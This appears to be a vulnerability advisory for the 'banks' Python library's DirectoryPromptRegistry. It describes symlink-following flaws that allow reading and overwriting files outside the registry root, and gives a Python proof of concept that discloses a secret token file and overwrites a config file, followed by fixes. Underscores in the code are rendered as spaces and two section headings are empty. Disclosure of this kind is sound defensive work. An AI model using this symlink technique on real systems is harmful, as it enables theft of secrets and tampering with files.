Summary

Details

1. self. index path (index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by save() upon reg.set(), or read via load().
2. In scan(), discovered .jinja files are opened and indexed without checking if path.is symlink() or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.
3. In set(), prompt file.write text(...) is called without checking if prompt file is an existing symbolic link pointing outside the root.

Impact

Proof of Concept

import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT INDEX NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg dir = Path("/tmp/registry")
reg dir.mkdir(exist ok=True)
secret = Path("/tmp/secret.txt")
secret.write text("SECRET API TOKEN")

os.symlink(secret, reg dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg dir, force reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write text("ORIGINAL")
(reg dir / DEFAULT INDEX NAME).unlink(missing ok=True)
os.symlink(target, reg dir / DEFAULT INDEX NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read text())

Remediation

1. In validate index path(): verify index path is not a symlink and resolves within path.
2. In scan(): reject path.is symlink() and check path.resolve().is relative to(root).
3. In set(): reject existing symbolic links before writing.